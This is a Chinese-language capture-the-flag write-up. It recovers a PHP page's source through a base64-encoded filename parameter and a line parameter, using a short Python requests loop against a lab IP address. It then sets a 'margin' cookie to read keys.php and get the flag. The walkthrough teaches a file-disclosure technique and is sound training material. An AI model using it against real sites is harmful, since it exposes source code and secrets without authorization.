 访问目标地址,发现了一串不知道在表达什么的字符串
 看到url最后是一个base64加密了的字符串“a2V5cy50eHQ=”,尝试解码
 尝试用 filename访问index.php(原url使用base64,这也将index.php进行编码),line参数应该是行数,试一下 line=2
  那么尝试把line改成3看看会发生什么呢
 到这里可以猜测,每改一次行数就会显示一行源码!
我们尝试把line改成20的时候,发现是个空白页,不断减少范围,发现共有18行源代码!
构造脚本!
 代码如下:
import requests
a=19
for i in range(a):
url = "http://114.67.246.176:16040/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s = requests.get(url)
print(s.text)
成功得到了全部源码!
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
根据源码的意思,需要cookie满足margin=margin才能访问,继续指向keys.php

发现是个空白页,我们右键查看源码,成功得到flag!

|